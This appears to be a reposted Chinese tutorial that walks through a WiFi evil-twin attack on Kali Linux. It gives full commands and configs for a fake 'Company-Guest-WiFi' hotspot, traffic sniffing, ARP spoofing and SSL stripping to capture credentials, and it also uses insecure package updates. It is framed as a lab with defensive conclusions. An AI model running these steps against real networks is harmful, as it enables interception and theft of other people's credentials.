Wifi钓鱼研究

admin 2026-01-17 02:07:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章基于KaliLinux完整复现WiFi钓鱼:先验证无线网卡AP/监听模式,再用hostapd+dnsmasq伪造热点,通过iptablesNAT让目标上网降低警惕,tcpdump/Wireshark抓取明文HTTP,arpspoof+sslstrip降级HTTPS并记录账号密码,实验显示未加密流量可直接泄露凭据,HTTPS若未启用HSTS亦可被剥离,建议公用网络全程VPN、禁用自动连网并核对热点MAC。 综合评分: 92 文章分类: WEB安全,红队,社会工程学,安全培训,内网渗透


cover_image

Wifi钓鱼研究

原创

hack07 hack07

网络攻防研究

2026年1月15日 14:03 上海

免责声明:本文章仅用于提升公众对相关问题的认知与防范意识,严禁将其内容用于任何违法或诈骗活动。同时,提醒广大公民提高警惕,谨防各类诈骗犯罪行为。

在 Kali Linux 环境中,验证无线网卡是否支持 AP 模式(用于搭建虚假热点)和 监听模式(用于流量嗅探),核心是通过 iw 系列命令查询网卡能力、并实际切换模式测试,以下是分步验证方法(需 sudo 权限)。

一、前置准备:确认无线网卡名称

首先查看系统识别的无线网卡,区分物理网卡(如 wlan0)和可能的虚拟网卡:

# 查看所有网卡及当前模式iwconfig

输出示例(重点关注 wlan0 这类无线网卡,eth0 是有线网卡):

wlan0     IEEE 802.11  ESSID:off/any            Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm             Retry short limit:7   RTS thr:off   Fragment thr:off          Power Management:on
  • Mode:Managed:

是网卡默认的管理模式(用于连接 WiFi),后续需验证能否切换为 AP 和 Monitor 模式。

二、验证网卡是否支持 AP 模式

AP 模式是搭建虚假 WiFi 的核心,验证分为 查询能力 和 实际切换测试 两步:

1. 第一步:查询网卡是否标注支持 AP 模式

执行命令查看网卡支持的所有工作模式:

iw list | grep -A 10 "supported interface modes"

重点查看输出中是否包含 * AP,示例如下:

        supported interface modes:                * IBSS                * managed                * AP          # 出现这一行,说明网卡支持AP模式                * AP/VLAN                * monitor

若没有 * AP,说明网卡硬件 / 驱动不支持 AP 模式,无法用于搭建虚假热点。

2. 第二步:实际切换为 AP 模式(验证可用性)

部分网卡虽标注支持 AP 模式,但驱动存在问题,需实际切换测试:

# 1. 先关闭网卡(避免冲突)sudo ip link set wlan0 down  # 替换为你的网卡名(如wlan1)# 2. 切换网卡模式为APsudo iw dev wlan0 set type __ap  # 注意是双下划线 __ap# 3. 重新启动网卡sudo ip link set wlan0 up# 4. 验证是否切换成功iwconfig wlan0

验证成功标志:

输出中出现Mode:Master(AP 模式在 Linux 中也叫 Master 模式):

wlan0     IEEE 802.11  Mode:Master  Tx-Power=20 dBm             Retry short limit:7   RTS thr:off   Fragment thr:off          Power Management:on

切换失败:

提示command failed: Operation not supported (-95),说明驱动不兼容,需更换网卡或安装对应驱动。

三、验证网卡是否支持 监听模式

监听模式用于抓取 WiFi 流量,同样分 查询能力 和 实际切换测试 两步:

1. 第一步:查询网卡是否标注支持监听模式

执行和 AP 模式相同的查询命令,查看是否包含 * monitor

iw list | grep -A 10 "supported interface modes"

输出中出现 * monitor,说明硬件支持监听模式。

  1. 第二步:实际切换为监听模式(验证可用性)
# 1. 关闭网卡sudo ip link set wlan0 down# 2. 切换为监听模式sudo iw dev wlan0 set type monitor# 3. 启动网卡sudo ip link set wlan0 up# 4. 验证结果iwconfig wlan0

验证成功标志:

输出中出现Mode:Monitor

wlan0     IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm             Retry short limit:7   RTS thr:off   Fragment thr:off          Power Management:on

切换失败:

提示Operation not supported (-95),需更换网卡(推荐 TP-Link TL-WN722N v1/v2、Alfa AWUS036NH 等经典兼容型号)。

四、验证后恢复网卡默认模式

测试完成后,将网卡恢复为默认的管理模式(用于正常连接 WiFi):

sudo ip link set wlan0 downsudo iw dev wlan0 set type managedsudo ip link set wlan0 up

一、实验环境准备

1. 硬件要求

  • 主控机:安装 Kali Linux 的笔记本(Kali 自带所有攻击工具,无需额外配置);
  • 无线网卡:需支持AP 模式监听模式(推荐型号:TP-Link TL-WN722N v1/v2、Alfa AWUS036NH);
  • 测试设备:你的个人手机 / 另一台电脑(用于模拟 “被钓鱼用户”)。

2. 软件准备(Kali Linux 已预装,验证即可)

# 验证核心工具是否存在which hostapd dnsmasq arpspoof sslstrip wireshark tcpdump# 若显示路径(如/usr/sbin/hostapd),说明已安装;若提示未找到,执行:sudo apt update && sudo apt install hostapd dnsmasq dsniff sslstrip wireshark -y

注:这里博主用的是live kali。因此博主并没有hostapd,apt install hostapd时会报错:

Error:Unable to locate package hostapd

解决方法:

nano /etc/apt/sources.list#清空并写入下列内容deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-last-snapshot main contrib non-free non-free-firmware# Ctrl+O 保存,Ctrl+x退出

# 彻底清空源文件(覆盖所有内容,无隐藏字符)sudo echo "deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-last-snapshot main contrib non-free non-free-firmware" > /etc/apt/sources.list

验证源文件内容(无空行/隐藏字符)

# 验证源文件内容(无空行/隐藏字符)cat -A /etc/apt/sources.list

✅ 成功输出(无^M/ 空格 / 空行等多余字符):

deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-last-snapshot main contrib non-free non-free-firmware$

($是行尾符,正常;若有^M是 Windows 换行符,需重新执行上面的echo命令)

彻底清理缓存并重新更新:

# 清理所有旧缓存(包括无效的签名缓存)sudo apt cleansudo rm -rf /var/lib/apt/lists/*# 强制更新源(跳过临时安全检查,仅用于Live系统)sudo apt update --allow-insecure-repositories

二、分步实验操作(全程使用 sudo 权限)

步骤 1:确认无线网卡并关闭干扰进程

# 查看无线网卡名称(通常为wlan0、wlan1,带mon的是监听模式)iwconfig# 关闭NetworkManager(避免干扰AP搭建)sudo systemctl stop NetworkManagersudo systemctl disable NetworkManager# 关闭无线网卡原有连接sudo ip link set wlan0 down  # 替换为你的网卡名(如wlan1)

步骤 2:搭建虚假 AP(仿冒企业访客 WiFi)

2.1 创建 hostapd 配置文件(定义 WiFi 名称 / 加密方式)

# 创建配置文件sudo nano /etc/hostapd/hostapd.conf# 粘贴以下内容(无密码开放热点,仿冒企业访客WiFi)interface=wlan0  # 你的无线网卡名driver=nl80211ssid=Company-Guest-WiFi  # 虚假WiFi名称hw_mode=gchannel=6wmm_enabled=0macaddr_acl=0auth_algs=1ignore_broadcast_ssid=0# 保存退出:按Ctrl+O → 回车 → Ctrl+X

2.2 创建 dnsmasq 配置文件(分配 IP 地址)

# 创建配置文件sudo nano /etc/dnsmasq.conf# 粘贴以下内容interface=wlan0  # 你的无线网卡名dhcp-range=192.168.10.2,192.168.10.100,255.255.255.0,12h  # 分配IP段dhcp-option=3,192.168.10.1  # 网关dhcp-option=6,8.8.8.8,8.8.4.4  # DNS服务器(谷歌DNS)# 保存退出

2.3 配置网卡 IP 并启动虚假 AP

# 给无线网卡设置静态IP(网关)sudo ip addr add 192.168.10.1/24 dev wlan0sudo ip link set wlan0 up# 启动hostapd(虚假AP)sudo hostapd /etc/hostapd/hostapd.conf &  # &表示后台运行# 启动dnsmasq(DHCP服务,分配IP)sudo dnsmasq -C /etc/dnsmasq.conf &

此时你的测试设备(手机 / 电脑)能搜索到Company-Guest-WiFi热点,连接后会获取 192.168.10.x 的 IP。

步骤 3:配置网络转发(让测试设备能上网,降低警惕性)

# 开启Linux内核转发功能sudo sysctl -w net.ipv4.ip_forward=1# 配置NAT转发(将无线网卡流量转发到主控机的有线网卡/真实WiFi)# 先查看主控机的上网网卡(通常为eth0/ens33/wlan2):ip route show default | grep viasudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  # eth0替换为你的上网网卡名

此时测试设备连接虚假 AP 后,能正常打开网页(如百度),模拟 “合法 WiFi” 的上网体验。这里如果是wifi需要两个无线网卡。也可以接入在线网络。

步骤 4:数据嗅探(抓取未加密流量)

方式 1:用 tcpdump 命令行嗅探

# 抓取wlan0网卡的所有流量,保存到文件(方便后续分析)sudo tcpdump -i wlan0 -w wifi_sniff.pcap# 停止嗅探:Ctrl+C# 查看嗅探结果:tcpdump -r wifi_sniff.pcap

方式 2:用 Wireshark 图形化嗅探(更直观)

# 启动Wireshark,选择wlan0网卡开始抓包sudo wireshark

在测试设备上访问未加密的 HTTP 网站(如http://testphp.vulnweb.com/),输入测试账号密码,Wireshark 中能直接看到明文的账号、密码、请求内容(HTTPS 网站则无法直接看到,需下一步中间人攻击)。

步骤 5:实施中间人攻击(ARP 欺骗 + SSL 剥离)

5.1 启动 SSL 剥离(将 HTTPS 降级为 HTTP)

# 监听8080端口,剥离HTTPS加密sudo sslstrip -l 8080 &

5.2 配置 iptables 转发(将 80 端口流量导向 sslstrip)

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

5.3 实施 ARP 欺骗(让测试设备误以为主控机是网关)

# arpspoof -i 网卡名 -t 目标IP 网关IP# 若测试设备IP为192.168.10.5,网关为192.168.10.1,执行:sudo arpspoof -i wlan0 -t 192.168.10.5 192.168.10.1 &# 同时欺骗网关(可选):sudo arpspoof -i wlan0 -t 192.168.10.1 192.168.10.5 &

此时测试设备访问 HTTPS 网站(如http://www.baidu.com/,注意:部分强制 HTTPS 的网站无效),会被降级为 HTTP,Wireshark 中能抓取到明文流量。

步骤 6:停止实验并清理环境(关键!)

实验完成后必须关闭所有进程,恢复系统设置:

# 停止所有后台进程(hostapd/dnsmasq/sslstrip/arpspoof)sudo pkill hostapdsudo pkill dnsmasqsudo pkill sslstripsudo pkill arpspoof# 清空iptables规则sudo iptables -Fsudo iptables -t nat -F# 关闭内核转发sudo sysctl -w net.ipv4.ip_forward=0# 恢复NetworkManagersudo systemctl enable NetworkManagersudo systemctl start NetworkManager# 关闭无线网卡的静态IPsudo ip addr del 192.168.10.1/24 dev wlan0sudo ip link set wlan0 down

三、实验关键观察结果

  1. 未加密的 HTTP 流量:能直接抓取到明文的账号、密码、搜索记录等;
  2. HTTPS 流量(未剥离):只能看到加密的数据包,无法解析内容;
  3. HTTPS 流量(SSL 剥离后):部分网站会被降级为 HTTP,可抓取明文,但现代网站(如淘宝、微信)启用 HSTS(强制 HTTPS),SSL 剥离无效;
  4. 核心结论:WiFi 钓鱼的核心风险是未加密流量的泄露,而 HTTPS、VPN 能有效防御。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络攻防研究 hack07 hack07《Wifi钓鱼研究》

Wifi钓鱼研究 网络安全文章

Wifi钓鱼研究

文章总结: 文章基于KaliLinux完整复现WiFi钓鱼:先验证无线网卡AP/监听模式,再用hostapd+dnsmasq伪造热点,通过iptablesNAT
评论:0   参与:  0